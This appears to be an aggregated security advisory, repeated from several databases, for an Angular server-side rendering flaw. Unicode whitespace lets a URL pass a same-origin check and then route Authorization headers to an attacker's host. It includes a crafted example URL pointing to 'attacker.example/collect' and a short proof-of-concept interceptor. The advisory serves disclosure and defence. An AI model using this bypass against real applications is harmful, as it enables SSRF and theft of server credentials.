Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

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Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.

Source published

10 Sep 2026 18:42:34 UTC

Source modified

15 Sep 2026 14:56:52 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 4.0 · 8.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.

Source published

Sep 10, 2026, 6:42:34 PM (timezone not stated)

Source modified

Sep 15, 2026, 2:56:52 PM (timezone not stated)

Saved here

11 Nov 2026 17:03:26 UTC

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ENISA EUVD · source terms and attribution apply

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EUVD CVSS 4.0 · 8.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.

Source published

10 Sep 2026 19:17:41 UTC

Source modified

29 Sep 2026 19:02:56 UTC

Saved here

25 Oct 2026 16:19:22 UTC

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NIST NVD usage terms; underlying source attribution retained

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CVSS 4.0 · [email protected] · Secondary · 8.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

### Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials. ### Technical Description When applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks. However, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request. ### Impact & Reachability * **Reachability**: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. * **Impact**: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request. **Proof of Concept:** ```ts // Interceptor performing same-origin validation const trustedOrigin = new URL('http://localhost:4000/'); const target = new URL(req.urlWithParams, trustedOrigin); if (target.origin !== trustedOrigin.origin) { throw new Error('Cross-origin request blocked'); } // Request passes validation, server attaches sensitive credential: const authenticatedReq = req.clone({ headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'), }); // @angular/platform-server previously trimmed the URL, converting it into // //attacker.example/collect and routing the credential to the attacker. ``` ### Workarounds * Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\u00A0`) before performing origin checks or passing them to `HttpClient`. * Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.

Source published

10 Sep 2026 20:19:43 UTC

Source modified

10 Sep 2026 20:30:04 UTC

Saved here

24 Oct 2026 13:17:17 UTC

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GitHub Advisory Database · CC-BY-4.0

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CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH